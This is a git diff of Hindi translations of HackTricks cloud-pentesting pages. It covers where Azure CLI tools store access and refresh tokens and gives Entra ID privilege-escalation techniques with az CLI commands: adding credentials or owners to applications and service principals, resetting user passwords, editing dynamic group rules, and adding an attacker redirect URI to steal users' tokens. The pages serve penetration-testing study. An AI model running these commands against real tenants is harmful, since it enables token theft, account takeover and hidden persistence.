+- **`azureProfile.json`** में पिछले लॉगिन किए गए यूज़र्स की जानकारी होती है
+- **`clouds.config contains`** में subscriptions की जानकारी होती है
+- **`service_principal_entries.json`** में applications credentials होते हैं (tenant id, clients और secret)। केवल Linux & macOS में
+- **`msal_token_cache.json`** में access tokens और refresh tokens होते हैं। केवल Linux & macOS में
+- **`service_principal_entries.bin`** और msal_token_cache.bin Windows में उपयोग होते हैं और DPAPI से encrypted होते हैं
 - **`msal_http_cache.bin`** HTTP request का cache है
-- इसे लोड करें: `with open("msal_http_cache.bin", 'rb') as f: pickle.load(f)`
-- **`AzureRmContext.json`** में Az PowerShell का उपयोग करके पिछले logins की जानकारी होती है (लेकिन credentials नहीं)
-- **`C:\Users\<username>\AppData\Local\Microsoft\IdentityCache\*`** के अंदर कई `.bin` फाइलें होती हैं जिनमें users के DPAPI से encrypted **access tokens**, ID tokens और account जानकारी होती है
-- और भी **access tokens** `.tbres` फाइलों में मिल सकते हैं जो **`C:\Users\<username>\AppData\Local\Microsoft\TokenBroken\Cache\`** के अंदर होते हैं और जिनमें DPAPI के साथ encrypted base64 में access tokens होते हैं
-- Linux और macOS पर, अगर उपयोग हुआ हो तो Az PowerShell से आप **access tokens, refresh tokens और id tokens** पा सकते हैं: `pwsh -Command "Save-AzContext -Path /tmp/az-context.json"`
-- Windows में यह केवल id tokens जनरेट करता है
-- यह देखना संभव है कि Linux और macSO पर Az PowerShell का उपयोग हुआ था या नहीं यह चेक करके: `$HOME/.local/share/.IdentityService/` मौजूद है या नहीं (हालाँकि उसमें मौजूद फाइलें खाली और बेकार होती हैं)
-- अगर user browser में Azure में logged in है, तो इस [**post**](https://www.infosecnoodle.com/p/obtaining-microsoft-entra-refresh?r=357m16&utm_campaign=post&utm_medium=web) के अनुसार authentication flow को **redirect to localhost** के साथ शुरू करना, browser को स्वतः login authorize करने देना, और resh token प्राप्त करना संभव है। ध्यान दें कि केवल कुछ ही FOCI applications ऐसे हैं जो localhost पर redirect की अनुमति देते हैं (जैसे az cli या the powershell module), इसलिए इन applications की अनुमति होनी चाहिए।
-- ब्लॉग में समझाया गया एक और विकल्प है tool [**BOF-entra-authcode-flow**](https://github.com/sudonoodle/BOF-entra-authcode-flow) का उपयोग करना, जो किसी भी application का उपयोग कर सकता है क्योंकि यह OAuth code प्राप्त कर लेगा और फिर final auth पेज के title से refresh token प्राप्त करेगा, redirect URI के रूप में `https://login.microsoftonline.com/common/oauth2/nativeclient` का उपयोग करते हुए।
+- Load it: `with open("msal_http_cache.bin", 'rb') as f: pickle.load(f)`
+- **`AzureRmContext.json`** में Az PowerShell का उपयोग करके किए गए पिछले लॉगिन्स की जानकारी होती है (लेकिन credentials नहीं)
+- के अंदर **`C:\Users\<username>\AppData\Local\Microsoft\IdentityCache\*`** कई `.bin` फ़ाइलें होती हैं जिनमें **access tokens**, ID tokens और account information यूज़र के DPAPI से encrypted होती हैं।
+- `.tbres` फ़ाइलों में और भी **access tokens** मिल सकते हैं, जो **`C:\Users\<username>\AppData\Local\Microsoft\TokenBroken\Cache\`** के अंदर होते हैं और DPAPI से base64 encrypt किए होते हैं जिनमें access tokens होते हैं।
+- Linux और macOS में आप Az PowerShell (यदि उपयोग किया गया हो) से **access tokens, refresh tokens और id tokens** प्राप्त कर सकते हैं: `pwsh -Command "Save-AzContext -Path /tmp/az-context.json"`
+- Windows में यह केवल id tokens जेनरेट करता है।
+- यह जांचने के लिए कि Az PowerShell Linux और macOS पर उपयोग किया गया था या नहीं, देखें कि `$HOME/.local/share/.IdentityService/` मौजूद है या नहीं (हालाँकि उसमे मौजूद फ़ाइलें खाली और बेकार होती हैं)
+- अगर यूज़र **ब्राउज़र से Azure में logged in** है, तो इस [**post**](https://www.infosecnoodle.com/p/obtaining-microsoft-entra-refresh?r=357m16&utm_campaign=post&utm_medium=web) के अनुसार authentication flow को **redirect to localhost** के साथ शुरू करना संभव है, ब्राउज़र को ऑटोमेटिकली लॉगिन authorize करवाना, और फिर refresh token प्राप्त करना। ध्यान दें कि केवल कुछ ही FOCI applications localhost पर redirect की अनुमति देते हैं (जैसे az cli या powershell module), इसलिए इन applications को allow होना चाहिए।
+- ब्लॉग में समझाई गई एक और विकल्प टूल [**BOF-entra-authcode-flow**](https://github.com/sudonoodle/BOF-entra-authcode-flow) का उपयोग करना है जो किसी भी application का उपयोग कर सकता है क्योंकि यह OAuth code प्राप्त करेगा और फिर redirect URI `https://login.microsoftonline.com/common/oauth2/nativeclient` का उपयोग करके final auth पेज के title से refresh token ले लेगा।
 
 ## संदर्भ
 
 - [https://github.com/secureworks/family-of-client-ids-research](https://github.com/secureworks/family-of-client-ids-research)
 - [https://github.com/Huachao/azure-content/blob/master/articles/active-directory/active-directory-token-and-claims.md](https://github.com/Huachao/azure-content/blob/master/articles/active-directory/active-directory-token-and-claims.md)
+- [https://specterops.io/blog/2025/10/15/naa-or-broci-let-me-explain/](https://specterops.io/blog/2025/10/15/naa-or-broci-let-me-explain/)
+- [https://specterops.io/blog/2025/08/13/going-for-brokering-offensive-walkthrough-for-nested-app-authentication/](https://specterops.io/blog/2025/08/13/going-for-brokering-offensive-walkthrough-for-nested-app-authentication/)
 
 {{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md
index ec33759e5..72c82b68e 100644
--- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md
+++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md
@@ -3,15 +3,15 @@
 {{#include ../../../../banners/hacktricks-training.md}}
 
 > [!NOTE]
-> ध्यान दें कि **सभी ग्रैन्युलर अनुमतियाँ** जो Entra ID में अंतर्निहित भूमिकाओं में हैं, **कस्टम भूमिकाओं में उपयोग के लिए योग्य नहीं हैं।**
+> ध्यान दें कि Entra ID में built-in roles में मौजूद सभी सूक्ष्म अनुमतियाँ custom roles में उपयोग के लिए योग्य नहीं होती हैं।
 
 ## भूमिकाएँ
 
-### भूमिका: विशेषाधिकार प्राप्त भूमिका प्रशासक <a href="#c9d4cde0-7dcc-45d5-aa95-59d198ae84b2" id="c9d4cde0-7dcc-45d5-aa95-59d198ae84b2"></a>
+### Role: Privileged Role Administrator <a href="#c9d4cde0-7dcc-45d5-aa95-59d198ae84b2" id="c9d4cde0-7dcc-45d5-aa95-59d198ae84b2"></a>
 
-इस भूमिका में आवश्यक ग्रैन्युलर अनुमतियाँ शामिल हैं ताकि प्रिंसिपलों को भूमिकाएँ सौंपने और भूमिकाओं को अधिक अनुमतियाँ देने में सक्षम हो सकें। दोनों क्रियाएँ विशेषाधिकार बढ़ाने के लिए दुरुपयोग की जा सकती हैं।
+यह भूमिका उन आवश्यक सूक्ष्म अनुमतियों को समेटे हुए है जो किसी principal को role असाइन करने और role को अतिरिक्त अनुमतियाँ देने में सक्षम बनाती हैं। इन दोनों कार्रवाइयों का दुरुपयोग करके privileges बढ़ाए जा सकते हैं।
 
-- उपयोगकर्ता को भूमिका सौंपें:
+- किसी उपयोगकर्ता को role असाइन करना:
 ```bash
 # List enabled built-in roles
 az rest --method GET \
@@ -27,7 +27,7 @@ az rest --method POST \
 \"@odata.id\": \"https://graph.microsoft.com/v1.0/directoryObjects/$userId\"
 }"
 ```
-- एक भूमिका में अधिक अनुमतियाँ जोड़ें:
+- role में अधिक permissions जोड़ें:
 ```bash
 # List only custom roles
 az rest --method GET \
@@ -48,11 +48,11 @@ az rest --method PATCH \
 ]
 }'
 ```
-## Applications
+## एप्लिकेशन
 
 ### `microsoft.directory/applications/credentials/update`
 
-यह एक हमलावर को **क्रेडेंशियल्स** (पासवर्ड या प्रमाणपत्र) को मौजूदा अनुप्रयोगों में जोड़ने की अनुमति देता है। यदि अनुप्रयोग के पास विशेषाधिकार प्राप्त अनुमतियाँ हैं, तो हमलावर उस अनुप्रयोग के रूप में प्रमाणीकरण कर सकता है और उन विशेषाधिकारों को प्राप्त कर सकता है।
+यह attacker को मौजूदा applications में **add credentials** (passwords or certificates) जोड़ने की अनुमति देता है। यदि application के पास privileged permissions हैं, attacker उस application के रूप में authenticate कर सकता है और उन privileges हासिल कर सकता है।
 ```bash
 # Generate a new password without overwritting old ones
 az ad app credential reset --id <appId> --append
@@ -61,13 +61,13 @@ az ad app credential reset --id <appId> --create-cert
 ```
 ### `microsoft.directory/applications.myOrganization/credentials/update`
 
-यह `applications/credentials/update` के समान क्रियाएँ करने की अनुमति देता है, लेकिन एकल-निर्देशिका अनुप्रयोगों के लिए।
+यह `applications/credentials/update` जैसी ही क्रियाएँ करने की अनुमति देता है, लेकिन केवल एकल-डायरेक्टरी एप्लिकेशनों के लिए सीमित।
 ```bash
 az ad app credential reset --id <appId> --append
 ```
 ### `microsoft.directory/applications/owners/update`
 
-अपने आप को एक मालिक के रूप में जोड़कर, एक हमलावर एप्लिकेशन को हेरफेर कर सकता है, जिसमें क्रेडेंशियल और अनुमतियाँ शामिल हैं।
+खुद को owner के रूप में जोड़कर, एक attacker application को manipulate कर सकता है, जिसमें credentials और permissions शामिल हैं।
 ```bash
 az ad app owner add --id <AppId> --owner-object-id <UserId>
 az ad app credential reset --id <appId> --append
@@ -77,40 +77,153 @@ az ad app owner list --id <appId>
 ```
 ### `microsoft.directory/applications/allProperties/update`
 
-एक हमलावर उन अनुप्रयोगों में एक रीडायरेक्ट URI जोड़ सकता है जो टेनेट के उपयोगकर्ताओं द्वारा उपयोग किए जा रहे हैं और फिर उनके साथ लॉगिन URLs साझा कर सकता है जो नए रीडायरेक्ट URL का उपयोग करते हैं ताकि उनके टोकन चुराए जा सकें। ध्यान दें कि यदि उपयोगकर्ता पहले से ही अनुप्रयोग में लॉग इन था, तो प्रमाणीकरण स्वचालित होगा बिना उपयोगकर्ता को कुछ स्वीकार करने की आवश्यकता के।
+An attacker tenant के users द्वारा उपयोग हो रही applications में एक redirect URI जोड़ सकता है और फिर उन users के साथ login URLs साझा कर सकता है जो नए redirect URI का उपयोग करते हैं, ताकि उनके tokens चोरी किए जा सकें। ध्यान दें कि अगर user पहले ही application में logged in है, तो authentication स्वचालित होगा और user को कुछ भी accept करने की आवश्यकता नहीं होगी।
 
-ध्यान दें कि यह भी संभव है कि अनुप्रयोग द्वारा अनुरोधित अनुमतियों को बदला जाए ताकि अधिक अनुमतियाँ प्राप्त की जा सकें, लेकिन इस मामले में उपयोगकर्ता को सभी अनुमतियों के लिए पूछने वाले प्रॉम्प्ट को फिर से स्वीकार करना होगा।
+ध्यान दें कि application द्वारा अनुरोधित permissions को भी बदला जा सकता है ताकि अधिक permissions प्राप्त किए जा सकें, लेकिन इस स्थिति में user को सभी permissions मांगने वाले prompt को पुनः accept करना होगा।
 ```bash
 # Get current redirect uris
 az ad app show --id ea693289-78f3-40c6-b775-feabd8bef32f --query "web.redirectUris"
 # Add a new redirect URI (make sure to keep the configured ones)
 az ad app update --id <app-id> --web-redirect-uris "https://original.com/callback https://attack.com/callback"
 ```
+### Applications Privilege Escalation
+
+**As explained in [this post](https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/)** यह बहुत सामान्य था कि डिफ़ॉल्ट applications ऐसे मिलते थे जिनके पास प्रकार **API permissions** की **`Application`** असाइन की हुई होती थी। एक API Permission (जैसा कि Entra ID console में कहा जाता है) प्रकार **`Application`** का यह अर्थ है कि application बिना user context (app में user login किए बिना) के API को access कर सकता है और actions कर सकता है, और इसके लिए Entra ID roles की आवश्यकता भी नहीं होती। इसलिए हर Entra ID tenant में **high privileged applications** मिलना बहुत आम है।
+
+यदि attacker के पास कोई भी permission/role है जो application के credentials (secret या certificate) को **update the credentials (secret o certificate) of the application** करने की अनुमति देता है, तो attacker नया credential जनरेट कर सकता है और फिर उसे उपयोग करके **authenticate as the application** कर सकता है, और application के सभी permissions हासिल कर सकता है।
+
+ध्यान दें कि उक्त ब्लॉग में कुछ सामान्य Microsoft default applications के कुछ **API permissions** साझा किए गए थे; हालांकि इस रिपोर्ट के कुछ समय बाद Microsoft ने इस समस्या को ठीक कर दिया और अब Microsoft applications के रूप में login करना संभव नहीं है। फिर भी, उच्च विशेषाधिकार वाली **custom applications with high privileges that could be abused** मिलना अभी भी संभव है।
+
+How to enumerate the API permissions of an application:
+```bash
+# Get "API Permissions" of an App
+## Get the ResourceAppId
+az ad app show --id "<app-id>" --query "requiredResourceAccess" --output json
+## e.g.
+[
+{
+"resourceAccess": [
+{
+"id": "e1fe6dd8-ba31-4d61-89e7-88639da4683d",
+"type": "Scope"
+},
+{
+"id": "d07a8cc0-3d51-4b77-b3b0-32704d1f69fa",
+"type": "Role"
+}
+],
+"resourceAppId": "00000003-0000-0000-c000-000000000000"
+}
+]
+
+## For the perms of type "Scope"
+az ad sp show --id <ResourceAppId> --query "oauth2PermissionScopes[?id=='<id>'].value" -o tsv
+az ad sp show --id "00000003-0000-0000-c000-000000000000" --query "oauth2PermissionScopes[?id=='e1fe6dd8-ba31-4d61-89e7-88639da4683d'].value" -o tsv
+
+## For the perms of type "Role"
+az ad sp show --id <ResourceAppId> --query "appRoles[?id=='<id>'].value" -o tsv
+az ad sp show --id 00000003-0000-0000-c000-000000000000 --query "appRoles[?id=='d07a8cc0-3d51-4b77-b3b0-32704d1f69fa'].value" -o tsv
+```
+<details>
+<summary>सभी applications खोजें जिनके पास non-Microsoft APIs के लिए API permissions हैं (az cli)</summary>
+```bash
+#!/usr/bin/env bash
+set -euo pipefail
+
+# Known Microsoft first-party owner organization IDs.
+MICROSOFT_OWNER_ORG_IDS=(
+"f8cdef31-a31e-4b4a-93e4-5f571e91255a"
+"72f988bf-86f1-41af-91ab-2d7cd011db47"
+)
+
+is_microsoft_owner() {
+local owner="$1"
+local id
+for id in "${MICROSOFT_OWNER_ORG_IDS[@]}"; do
+if [ "$owner" = "$id" ]; then
+return 0
+fi
+done
+return 1
+}
+
+command -v az >/dev/null 2>&1 || { echo "az CLI not found" >&2; exit 1; }
+command -v jq >/dev/null 2>&1 || { echo "jq not found" >&2; exit 1; }
+az account show >/dev/null
+
+apps_json="$(az ad app list --all --query '[?length(requiredResourceAccess) > `0`].[displayName,appId,requiredResourceAccess]' -o json)"
+
+tmp_map="$(mktemp)"
+tmp_ids="$(mktemp)"
+trap 'rm -f "$tmp_map" "$tmp_ids"' EXIT
+
+# Build unique resourceAppId values used by applications.
+jq -r '.[][2][]?.resourceAppId' <<<"$apps_json" | sort -u > "$tmp_ids"
+
+# Resolve resourceAppId -> owner organization + API display name.
+while IFS= read -r rid; do
+[ -n "$rid" ] || continue
+sp_json="$(az ad sp show --id "$rid" --query '{owner:appOwnerOrganizationId,name:displayName}' -o json 2>/dev/null || true)"
+owner="$(jq -r '.owner // "UNKNOWN"' <<<"$sp_json")"
+name="$(jq -r '.name // "UNKNOWN"' <<<"$sp_json")"
+printf '%s\t%s\t%s\n' "$rid" "$owner" "$name" >> "$tmp_map"
+done < "$tmp_ids"
+
+echo -e "appDisplayName\tappId\tresourceApiDisplayName\tresourceAppId\tresourceOwnerOrgId\tpermissionType\tpermissionId"
+
+# Print only app permissions where the target API is NOT Microsoft-owned.
+while IFS= read -r row; do
+app_name="$(jq -r '.[0]' <<<"$row")"
+app_id="$(jq -r '.[1]' <<<"$row")"
+
+while IFS= read -r rra; do
+resource_app_id="$(jq -r '.resourceAppId' <<<"$rra")"
+map_line="$(awk -F '\t' -v id="$resource_app_id" '$1==id {print; exit}' "$tmp_map")"
+owner_org="$(awk -F'\t' '{print $2}' <<<"$map_line")"
+resource_name="$(awk -F'\t' '{print $3}' <<<"$map_line")"
+
+[ -n "$owner_org" ] || owner_org="UNKNOWN"
+[ -n "$resource_name" ] || resource_name="UNKNOWN"
+
+if is_microsoft_owner "$owner_org"; then
+continue
+fi
+
+while IFS= read -r access; do
+perm_type="$(jq -r '.type' <<<"$access")"
+perm_id="$(jq -r '.id' <<<"$access")"
+echo -e "${app_name}\t${app_id}\t${resource_name}\t${resource_app_id}\t${owner_org}\t${perm_type}\t${perm_id}"
+done < <(jq -c '.resourceAccess[]' <<<"$rra")
+done < <(jq -c '.[2][]' <<<"$row")
+done < <(jq -c '.[]' <<<"$apps_json")
+```
+</details>
+
 ## Service Principals
 
 ### `microsoft.directory/servicePrincipals/credentials/update`
 
-यह एक हमलावर को मौजूदा सेवा प्रिंसिपलों में क्रेडेंशियल जोड़ने की अनुमति देता है। यदि सेवा प्रिंसिपल के पास उच्चाधिकार हैं, तो हमलावर उन अधिकारों को ग्रहण कर सकता है।
+यह attacker को मौजूदा service principals में credentials जोड़ने की अनुमति देता है। यदि service principal के पास elevated privileges हैं, तो attacker उन privileges को assume कर सकता है।
 ```bash
 az ad sp credential reset --id <sp-id> --append
 ```
 > [!CAUTION]
-> नया उत्पन्न किया गया पासवर्ड वेब कंसोल में नहीं दिखाई देगा, इसलिए यह एक सेवा प्रमुख पर स्थायीता बनाए रखने का एक छिपा हुआ तरीका हो सकता है।\
-> API से इन्हें इस प्रकार पाया जा सकता है: `az ad sp list --query '[?length(keyCredentials) > 0 || length(passwordCredentials) > 0].[displayName, appId, keyCredentials, passwordCredentials]' -o json`
+> नया जनरेट किया गया पासवर्ड वेब कंसोल में दिखाई नहीं देगा, इसलिए यह service principal पर persistence बनाए रखने का एक stealth तरीका हो सकता है.\
+> API से इन्हें पाया जा सकता है: `az ad sp list --query '[?length(keyCredentials) > 0 || length(passwordCredentials) > 0].[displayName, appId, keyCredentials, passwordCredentials]' -o json`
 
-यदि आपको त्रुटि मिलती है `"code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid."` तो इसका कारण यह है कि **आप SP के passwordCredentials प्रॉपर्टी को संशोधित नहीं कर सकते** और पहले आपको इसे अनलॉक करना होगा। इसके लिए आपको एक अनुमति की आवश्यकता है (`microsoft.directory/applications/allProperties/update`) जो आपको निष्पादित करने की अनुमति देती है:
+यदि आपको त्रुटि `"code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid."` मिलती है, तो इसका कारण यह है कि **SP के passwordCredentials property को संशोधित करना संभव नहीं है** और पहले आपको इसे अनलॉक करना होगा। इसके लिए आपको एक permission (`microsoft.directory/applications/allProperties/update`) चाहिए जो आपको execute करने की अनुमति दे:
 ```bash
 az rest --method PATCH --url https://graph.microsoft.com/v1.0/applications/<sp-object-id> --body '{"servicePrincipalLockConfiguration": null}'
 ```
 ### `microsoft.directory/servicePrincipals/synchronizationCredentials/manage`
 
-यह एक हमलावर को मौजूदा सेवा प्रमुखों में क्रेडेंशियल जोड़ने की अनुमति देता है। यदि सेवा प्रमुख के पास उच्चाधिकार हैं, तो हमलावर उन अधिकारों को ग्रहण कर सकता है।
+यह attacker को मौजूदा service principals में credentials जोड़ने की अनुमति देता है। यदि service principal के पास elevated privileges हैं, तो attacker उन privileges को assume कर सकता है।
 ```bash
 az ad sp credential reset --id <sp-id> --append
 ```
 ### `microsoft.directory/servicePrincipals/owners/update`
 
-ऐप्लिकेशनों की तरह, यह अनुमति एक सेवा प्रिंसिपल के लिए अधिक मालिक जोड़ने की अनुमति देती है। एक सेवा प्रिंसिपल का मालिक होना इसके क्रेडेंशियल्स और अनुमतियों पर नियंत्रण की अनुमति देता है।
+applications के समान, यह permission एक service principal में और owners जोड़ने की अनुमति देता है। किसी service principal का owner होने से उसके credentials और permissions पर नियंत्रण मिलता है।
 ```bash
 # Add new owner
 spId="<spId>"
@@ -128,13 +241,13 @@ az ad sp credential reset --id <sp-id> --append
 az ad sp owner list --id <spId>
 ```
 > [!CAUTION]
-> एक नए मालिक को जोड़ने के बाद, मैंने इसे हटाने की कोशिश की लेकिन API ने जवाब दिया कि DELETE विधि समर्थित नहीं है, भले ही यह वह विधि है जिसका उपयोग मालिक को हटाने के लिए करना है। इसलिए आप **आजकल मालिकों को हटा नहीं सकते**।
+> नया owner जोड़ने के बाद, मैंने उसे हटाने की कोशिश की लेकिन API ने जवाब दिया कि DELETE method समर्थित नहीं है, भले ही वही method हो जिसका आपको owner को हटाने के लिए उपयोग करना चाहिए। तो आप आजकल **owners को हटा नहीं सकते**।
 
 ### `microsoft.directory/servicePrincipals/disable` और `enable`
 
-ये अनुमतियाँ सेवा प्रमुखों को अक्षम और सक्षम करने की अनुमति देती हैं। एक हमलावर इस अनुमति का उपयोग किसी सेवा प्रमुख को सक्षम करने के लिए कर सकता है जिसे वह किसी न किसी तरह से एक्सेस कर सकता है ताकि विशेषाधिकार बढ़ा सके।
+ये permissions service principals को disable और enable करने की अनुमति देते हैं। एक attacker इस permission का उपयोग किसी ऐसे service principal को enable करने के लिए कर सकता है, जिस तक वह किसी तरह access प्राप्त कर ले, ताकि वह privileges escalate कर सके।
 
-ध्यान दें कि इस तकनीक के लिए हमलावर को सक्षम सेवा प्रमुख पर नियंत्रण पाने के लिए अधिक अनुमतियों की आवश्यकता होगी।
+ध्यान दें कि इस technique के लिए attacker को enabled service principal को take over करने के लिए और भी permissions की आवश्यकता होगी।
 ```bash
 # Disable
 az ad sp update --id <ServicePrincipalId> --account-enabled false
@@ -144,7 +257,7 @@ az ad sp update --id <ServicePrincipalId> --account-enabled true
 ```
 #### `microsoft.directory/servicePrincipals/getPasswordSingleSignOnCredentials` & `microsoft.directory/servicePrincipals/managePasswordSingleSignOnCredentials`
 
-ये अनुमतियाँ सिंगल साइन-ऑन के लिए क्रेडेंशियल बनाने और प्राप्त करने की अनुमति देती हैं, जो तृतीय-पक्ष अनुप्रयोगों तक पहुँच प्रदान कर सकती हैं।
+ये अनुमतियाँ single sign-on के लिए क्रेडेंशियल्स बनाने और प्राप्त करने की अनुमति देती हैं, जो थर्ड-पार्टी एप्लिकेशनों तक पहुँच प्रदान कर सकती हैं।
 ```bash
 # Generate SSO creds for a user or a group
 spID="<spId>"
@@ -164,44 +277,36 @@ az rest --method POST \
 --headers "Content-Type=application/json" \
 --body "{\"id\": \"$credID\"}"
 ```
-### Applications Privilege Escalation
-
-**जैसा कि [इस पोस्ट](https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/) में समझाया गया है**, यह बहुत सामान्य था कि डिफ़ॉल्ट अनुप्रयोगों में **API permissions** प्रकार **`Application`** असाइन किए गए थे। एक API Permission (जैसा कि Entra ID कंसोल में कहा जाता है) प्रकार **`Application`** का मतलब है कि अनुप्रयोग बिना किसी उपयोगकर्ता संदर्भ (बिना उपयोगकर्ता के ऐप में लॉगिन किए) API तक पहुँच सकता है, और इसे अनुमति देने के लिए Entra ID भूमिकाओं की आवश्यकता नहीं होती। इसलिए, हर Entra ID टेनेट में **उच्च विशेषाधिकार प्राप्त अनुप्रयोगों** को खोजना बहुत सामान्य है।
-
-फिर, यदि एक हमलावर के पास कोई अनुमति/भूमिका है जो **अनुप्रयोग के क्रेडेंशियल्स (गुप्त या प्रमाणपत्र) को अपडेट करने** की अनुमति देती है, तो हमलावर एक नया क्रेडेंशियल उत्पन्न कर सकता है और फिर इसका उपयोग **अनुप्रयोग के रूप में प्रमाणीकरण** करने के लिए कर सकता है, जिससे उसे अनुप्रयोग के सभी अनुमतियाँ मिल जाती हैं।
-
-ध्यान दें कि उल्लेखित ब्लॉग कुछ सामान्य Microsoft डिफ़ॉल्ट अनुप्रयोगों के **API permissions** साझा करता है, हालाँकि इस रिपोर्ट के कुछ समय बाद Microsoft ने इस समस्या को ठीक कर दिया और अब Microsoft अनुप्रयोगों के रूप में लॉगिन करना संभव नहीं है। हालाँकि, अभी भी **उच्च विशेषाधिकार प्राप्त कस्टम अनुप्रयोगों को खोजना संभव है जिन्हें दुरुपयोग किया जा सकता है**।
-
 ---
 
-## Groups
+## समूह
 
 ### `microsoft.directory/groups/allProperties/update`
 
-यह अनुमति विशेषाधिकार प्राप्त समूहों में उपयोगकर्ताओं को जोड़ने की अनुमति देती है, जिससे विशेषाधिकार वृद्धि होती है।
+यह अनुमति उपयोगकर्ताओं को privileged groups में जोड़ने की क्षमता देती है, जिससे privilege escalation हो सकता है।
 ```bash
 az ad group member add --group <GroupName> --member-id <UserId>
 ```
-**नोट**: यह अनुमति Entra ID भूमिका-निर्धारण समूहों को बाहर करती है।
+**नोट**: यह अनुमति Entra ID के role-assignable groups पर लागू नहीं होती।
 
 ### `microsoft.directory/groups/owners/update`
 
-यह अनुमति समूहों का मालिक बनने की अनुमति देती है। एक समूह का मालिक समूह की सदस्यता और सेटिंग्स को नियंत्रित कर सकता है, संभावित रूप से समूह के लिए विशेषाधिकार बढ़ा सकता है।
+यह अनुमति आपको समूहों का मालिक बनने की अनुमति देती है। किसी समूह का मालिक समूह की सदस्यता और सेटिंग्स नियंत्रित कर सकता है, जिससे संभावित रूप से समूह के लिए विशेषाधिकारों में वृद्धि हो सकती है।
 ```bash
 az ad group owner add --group <GroupName> --owner-object-id <UserId>
 az ad group member add --group <GroupName> --member-id <UserId>
 ```
-**नोट**: यह अनुमति Entra ID भूमिका-निर्धारण समूहों को बाहर करती है।
+**नोट**: यह अनुमति Entra ID role-assignable groups को शामिल नहीं करती।
 
 ### `microsoft.directory/groups/members/update`
 
-यह अनुमति एक समूह में सदस्यों को जोड़ने की अनुमति देती है। एक हमलावर खुद को या दुर्भावनापूर्ण खातों को विशेषाधिकार प्राप्त समूहों में जोड़ सकता है, जिससे उच्च स्तर की पहुंच प्राप्त हो सकती है।
+यह अनुमति किसी समूह में सदस्य जोड़ने की अनुमति देती है। एक हमलावर स्वयं या दुष्ट खातों को विशेषाधिकार प्राप्त समूहों में जोड़ सकता है, जिससे उन्हें उच्च अधिकार मिल सकते हैं।
 ```bash
 az ad group member add --group <GroupName> --member-id <UserId>
 ```
 ### `microsoft.directory/groups/dynamicMembershipRule/update`
 
-यह अनुमति एक गतिशील समूह में सदस्यता नियम को अपडेट करने की अनुमति देती है। एक हमलावर गतिशील नियमों को संशोधित कर सकता है ताकि वह बिना स्पष्ट जोड़ के विशेषाधिकार प्राप्त समूहों में शामिल हो सके।
+यह अनुमति डायनामिक समूह में सदस्यता नियम को अपडेट करने की अनुमति देती है। attacker डायनामिक नियमों को संशोधित करके बिना स्पष्ट रूप से जोड़े जाने के खुद को विशेषाधिकार प्राप्त समूहों में शामिल कर सकता है।
 ```bash
 groupId="<group-id>"
 az rest --method PATCH \
@@ -212,11 +317,11 @@ az rest --method PATCH \
 "membershipRuleProcessingState": "On"
 }'
 ```
-**नोट**: यह अनुमति Entra ID भूमिका-निर्धारण समूहों को बाहर करती है।
+**नोट**: यह अनुमति Entra ID role-assignable groups को शामिल नहीं करती।
 
-### डायनामिक समूह प्रिवेस्क
+### Dynamic Groups Privesc
 
-उपयोगकर्ताओं के लिए अपनी विशेषताओं को संशोधित करके डायनामिक समूहों के सदस्यों के रूप में जोड़े जाने के लिए विशेषाधिकार बढ़ाना संभव हो सकता है। अधिक जानकारी के लिए देखें:
+यह संभव हो सकता है कि उपयोगकर्ता अपनी ही properties को संशोधित करके dynamic groups के सदस्य के रूप में जोड़े जाने से privileges बढ़ा सकें। अधिक जानकारी के लिए देखें:
 
 {{#ref}}
 dynamic-groups.md
@@ -226,13 +331,13 @@ dynamic-groups.md
 
 ### `microsoft.directory/users/password/update`
 
-यह अनुमति गैर-प्रशासक उपयोगकर्ताओं के लिए पासवर्ड रीसेट करने की अनुमति देती है, जिससे संभावित हमलावर को अन्य उपयोगकर्ताओं के लिए विशेषाधिकार बढ़ाने की अनुमति मिलती है। यह अनुमति कस्टम भूमिकाओं को असाइन नहीं की जा सकती।
+यह permission non-admin उपयोगकर्ताओं का पासवर्ड रीसेट करने की अनुमति देता है, जिससे एक संभावित हमलावर अन्य उपयोगकर्ताओं के प्रति privileges बढ़ा सकता है। यह permission custom roles को असाइन नहीं किया जा सकता।
 ```bash
 az ad user update --id <user-id> --password "kweoifuh.234"
 ```
 ### `microsoft.directory/users/basic/update`
 
-यह विशेषाधिकार उपयोगकर्ता की विशेषताओं को संशोधित करने की अनुमति देता है। यह सामान्य है कि गतिशील समूह होते हैं जो विशेषताओं के मानों के आधार पर उपयोगकर्ताओं को जोड़ते हैं, इसलिए, यह अनुमति एक उपयोगकर्ता को आवश्यक विशेषता मान सेट करने की अनुमति दे सकती है ताकि वह एक विशिष्ट गतिशील समूह का सदस्य बन सके और विशेषाधिकार बढ़ा सके।
+यह अधिकार उपयोगकर्ता की विशेषताओं को संशोधित करने की अनुमति देता है। अक्सर ऐसे डायनामिक समूह मिलते हैं जो विशेषता मानों के आधार पर उपयोगकर्ताओं को जोड़ते हैं, इसलिए यह अनुमति किसी उपयोगकर्ता को आवश्यक विशेषता मान सेट करने की अनुमति दे सकती है ताकि वह किसी विशेष डायनामिक समूह का सदस्य बन सके और अपने विशेषाधिकार बढ़ा सके।
 ```bash
 #e.g. change manager of a user
 victimUser="<userID>"
@@ -250,7 +355,7 @@ az rest --method PATCH \
 ```
 ## Conditional Access Policies & MFA bypass
 
-गलत कॉन्फ़िगर की गई कंडीशनल एक्सेस नीतियाँ जो MFA की आवश्यकता होती हैं, को बायपास किया जा सकता है, जाँच करें:
+MFA की आवश्यकता वाली misconfigured conditional access policies को bypass किया जा सकता है, देखें:
 
 {{#ref}}
 az-conditional-access-policies-mfa-bypass.md
@@ -260,7 +365,7 @@ az-conditional-access-policies-mfa-bypass.md
 
 ### `microsoft.directory/devices/registeredOwners/update`
 
-यह अनुमति हमलावरों को उपकरणों के मालिक के रूप में खुद को असाइन करने की अनुमति देती है ताकि वे उपकरण-विशिष्ट सेटिंग्स और डेटा पर नियंत्रण या पहुँच प्राप्त कर सकें।
